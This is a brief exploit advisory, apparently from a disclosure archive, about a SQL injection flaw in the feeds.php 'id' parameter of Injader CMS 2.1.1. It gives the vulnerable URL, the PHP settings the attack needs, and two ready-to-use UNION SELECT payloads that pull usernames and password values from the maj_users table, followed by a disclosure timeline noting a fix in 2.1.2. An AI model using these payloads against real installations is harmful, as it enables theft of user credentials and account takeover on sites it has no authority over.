Injader CMS version 2.1.1 suffers from a remote SQL injection vulnerability.
2b8e91e3d21f060d0479c319f74259381a056ccd90b8fbf2e48753541e99f869
Injader CMS
http://www.injader.com/
- (= 2.1.1 -
- SQL -
http://localhost/upload/feeds.php?name=articles&id=<SQL>
magic_quotes_gpc = Off
register_globals = On
Username (urlencode):
2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL FROM maj_users# AND 2511=2511
Pass:
2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCAT(CHAR(0),IFNULL(CAST(userpass AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL FROM maj_users# AND 8758=8758
- Timeline -
Author notified: Nov 30, Dec 09,10
Injader 2.1.2: Dec 12
Public disclosure: Dec 18
- Seasons Greetings -
- http://nukeit.org -